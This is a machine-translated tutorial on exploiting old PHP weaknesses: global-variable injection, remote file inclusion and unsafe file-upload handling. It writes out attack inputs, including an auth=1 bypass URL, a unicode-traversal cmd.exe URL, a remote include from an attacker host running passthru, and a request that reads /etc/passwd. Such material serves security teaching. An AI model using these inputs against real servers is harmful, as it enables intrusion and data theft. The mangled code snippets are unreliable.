Shulou(Shulou.com)06/03 Report--

This article mainly introduces how to attack common vulnerabilities in PHP programs, which has a certain reference value, interested friends can refer to, I hope you can learn a lot after reading this article, let the editor take you to understand it.

Variables in HP do not need to be declared beforehand, they are automatically created the first time they are used, their types do not need to be specified, and they are automatically determined based on the context. From the programmer's point of view, this is undoubtedly an extremely convenient way to deal with it. Obviously, this is also a useful feature of rapid development languages. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables; after all, when they are first created, they are empty.

Obviously, the main function of PHP-based applications generally accepts user input (mainly form variables, uploading files, Cookie, etc.), then processes the input data, and then returns the results to the client browser. To make it as easy as possible for PHP code to access the user's input, PHP actually treats the input data as global variables.

For example:

Obviously, this will display a text box and a submit button. When the user clicks the submit button, "test.php" processes the user's input, and when "test.php" runs, "$hello" contains the data entered by the user in the text box. From this we should see that attackers can create arbitrary global variables as they wish. If the attacker invokes "test.php" not through form input, but enters http://server/test.php?hello=hi&setup=no directly in the browser address bar, then not only "$hello" is created, but "$setup" is also created.

Translator's note: these two methods are what we usually call "POST" and "GET" methods.

The following user authentication code exposes security problems caused by PHP's global variables:

If ($pass== "hello")

$auth=1

...

If ($auth==1)

Echo "someimportantinformation"

? >

The above code first checks whether the user's password is "hello" and, if it matches, sets "$auth" to "1" to pass authentication. After that, if "$suth" is "1", some important information will be displayed.

On the surface, it looks right, and quite a few of us do this, but this code makes the mistake of taking it for granted. It assumes that "$auth" is empty when no value is set, but does not expect that an attacker can create any global variable and assign it. We can deceive this code in a way like "http://server/test.php?auth=1"". Make it believe that we are certified.

Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not clearly defined. If there are a lot of variables in the program, this is a very difficult task.

A common protection is to check the variables in the array HTTP_GET [] or POST_VARS [], depending on how we submit (GET or POST). When PHP is configured to turn on the "track_vars" option (which is the default), the variables submitted by the user are available in the global variables and the array mentioned above.

But it's worth noting that PHP has four different array variables to handle the user's input. HTTP_GET_VARS array is used to handle variables submitted in GET mode, HTTP_POST_VARS array is used to handle variables submitted in POST mode, HTTP_COOKIE_VARS array is used to handle variables submitted as cookie headers, and for HTTP_POST_FILES array (provided by newer PHP), it is an optional way for users to submit variables. A user's request can easily store variables in these four arrays, so a secure PHP program should check these four arrays.

[remote file]

PHP is a language with rich features that provides a large number of functions that make it easy for programmers to implement a function. But from a security perspective, the more features you have, the harder it is to keep it secure, and remote files are a good example of this:

If (! ($fd=fopen ("$filename", "r"))

Echo ("Couldnotopenfile:$filename"

\ n ")

? >

The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, a less obvious feature of this script is that it can read files from any other WEB or FTP site. In fact, most of PHP's file handling functions are transparent to remote files.

For example:

If you specify "$filename" as "http://target/scripts/..%c1../winnt/system32/cmd.exe?/c+dir""

Then the above code actually takes advantage of the unicode vulnerability on the host target to execute the dir command.

This makes include (), require (), include_once (), and require_once (), which support remote files, more interesting in context. The main function of these functions is to contain the contents of the specified file and interpret them according to PHP code, mainly for library files.

For example:

Include ($libdir. "/ languages.php")

? >

In the above example, "$libdir" is usually a path that has been set before the code is executed, and if an attacker can make sure that "$libdir" is not set, he can change this path. But attackers can't do anything because they can only access the file languages.php in the path they specify (the "Poisonnullbyte" attack in perl has no effect on PHP). But with support for remote files, attackers can do anything. For example, an attacker can put a file languages.php on a server that contains the following:

Passthru ("/ bin/ls/etc")

? >

Then set "$libdir" to "http:///"" so that we can execute the above attack code on the target host, and the contents of the "/ etc" directory are returned to the customer's browser as a result.

It should be noted that the attack server (that is, evilhost) should not be able to execute the PHP code, otherwise the attack code will be executed on the attack server, not the target server. If you want to know the specific technical details, please refer to: http://www.securereality.com.au/sradv00006.txt

[file upload]

PHP automatically supports RFC1867-based file uploads. Let's take a look at the following example:

How to attack common vulnerabilities in PHP programs

The above code allows the user to select a file from the local machine, and when you click submit, the file will be uploaded to the server. This is obviously a useful feature, but the way PHP responds makes it unsafe. When PHP first receives such a request, even before it starts parsing the called PHP code, it accepts files from remote users to check if the file exceeds the value defined by "$MAX_FILE_SIZEvariable". If these tests pass, the files will be stored in a local temporary directory.

As a result, an attacker can send an arbitrary file to a host running PHP, and the file is already stored on the server before the PHP program decides whether to accept the file upload.

I won't discuss the possibility of using file uploads to DOS attacks on the server here.

Let's consider the PHP program that handles file uploads. As we said above, the file is received and stored on the server (the location is specified in the configuration file, usually / tmp), and the extension is generally random, similar to "phpxXuoXG". The PHP program needs to upload information about the file in order to process it, which can be done in two ways, one already used in PHP3, and the other introduced after we made a security announcement about the previous method.

However, we can say for sure that there is a problem, and most PHP programs still use the old-fashioned way to handle uploaded files. PHP sets four global variables to describe the uploaded file, such as the example above:

$hello=Filenameonlocalmachine (e.g "/ tmp/phpxXuoXG")

$hello_size=Sizeinbytesoffile (e.g1024)

$hello_name=Theoriginalnameofthefileontheremotesystem (e.g "c:\\ temp\\ hello.txt")

$hello_type=Mimetypeofuploadedfile (e.g "text/plain")

Then the PHP program starts processing files specified according to "$hello". The problem is that "$hello" is not necessarily a variable set by PHP, and any remote user can specify it. If we use the following ways:

Http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt

This results in the following PHP global variable (of course, POST can also be used (or even Cookie):

$hello= "/ etc/passwd"

$hello_size=10240

$hello_type= "text/plain"

$hello_name= "hello.txt"

The above form data meets the expected variables of the PHP program, but instead of processing the uploaded file, the PHP program deals with "/ etc/passwd" (which usually results in content exposure). This attack can be used to expose the contents of any sensitive file.

As I said earlier, the new version of PHP uses HTTP_POST_FILES [] to decide to upload a file, and it also provides a number of functions to solve this problem, such as a function to determine whether a file is actually uploaded. These functions solve this problem well, but in fact there must be a lot of PHP programs that still use the old methods and are vulnerable to this kind of attack.

As a variant of the attack method for file upload, let's take a look at the following code:

If (file_exists ($theme)) / / Checksthefileexistsonthelocalsystem (noremotefiles)

Include ("$theme")

? >

If an attacker can control "$theme", it is obvious that it can use "$theme" to read any file on a remote system. The attacker's ultimate goal is to execute arbitrary instructions on the remote server, but he cannot use the remote file, so he must create a PHP file on the remote server. At first glance, this seems impossible, but file upload helps us. If an attacker first creates a file containing PHP code on the local machine, then creates a form containing a file field named "theme", and finally uses this form to upload the created file containing PHP code to the above code, PHP will save the file submitted by the attacker. And set the value of "$theme" to the file submitted by the attacker, so that the file_exists () function will check and the attacker's code will be executed.

After gaining the ability to execute arbitrary instructions, the attacker obviously wants to increase privileges or expand the results, which in turn requires some toolsets that are not available on the server, and file uploads once again help us. Attackers can use the file upload function to upload tools, store them on the server, then take advantage of their ability to execute instructions, use chmod () to change the permissions of the file, and then execute. For example, an attacker can bypass a firewall or IDS to upload a local root attack program and then execute it, thus gaining root privileges.

Thank you for reading this article carefully. I hope the article "how to attack common vulnerabilities in PHP programs" shared by the editor will be helpful to everyone. At the same time, I also hope you can support us and pay attention to the industry information channel. More related knowledge is waiting for you to learn!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.